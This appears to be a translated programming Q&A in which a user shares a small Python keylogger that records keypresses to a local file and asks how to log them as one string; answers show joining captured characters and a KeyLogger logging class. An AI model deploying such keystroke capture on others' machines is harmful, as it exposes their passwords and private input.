from pynput.keyboard import Key, Listener
import logging
import getpass
import os
logging.basicConfig(filename=("keylogger.txt"), level=logging.DEBUG, format="%(message)s")
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener :
listener.join()
在前面提到的键盘记录器中,如果我输入“Hello”,我希望结果看起来像这样:
Hello
但结果却是:
'H'
'e'
'l'
'l'
'o'
我知道我可以使用字符串或库或任何它们被调用的东西,但我已经一年没有使用 python 编码并且忘记了如何。
您可以修改 on_press 函数以跟踪键入的字符,然后将它们输出为不带引号的单个字符串。
keys_pressed = []
def on_press(key):
global keys_pressed
try:
keys_pressed.append(key.char)
except AttributeError:
pass
& 当你阅读 keys_pressed 数组时,像这样读
"".join(keys_pressed)
对于按您希望的方式工作的文件日志记录解决方案,您可以使用
stream
而不是 filename
.
然后你可以倒回文件中的当前位置,这样你就可以从
\n
模块(表面上)添加的 logging
回溯。
例如:
import logging
stream = open('keylogger.txt', 'w')
logging.basicConfig(stream=stream, level=logging.DEBUG, format="%(message)s",)
logging.info('A')
stream.seek(stream.tell() - 1)
logging.info('B')
stream.seek(stream.tell() - 1)
logging.info('C')
stream.seek(stream.tell() - 1)
keylogger.txt
的内容:
ABC
为了简化上面的逻辑,可以把文件日志封装成一个自定义的类,如下
KeyLogger
:
import logging
class KeyLogger:
def __init__(self, fname: str = 'keylogger.txt'):
self.stream = open(fname, 'w')
self.count = 0
logging.basicConfig(stream=self.stream, level=logging.DEBUG, format="%(message)s",)
def info(self, msg, *args, **kwargs):
logging.info(msg, *args, **kwargs)
count = self.count = self.count + 1
self.stream.seek(count)
log = KeyLogger()
log.info('A')
log.info('B')
log.info('C')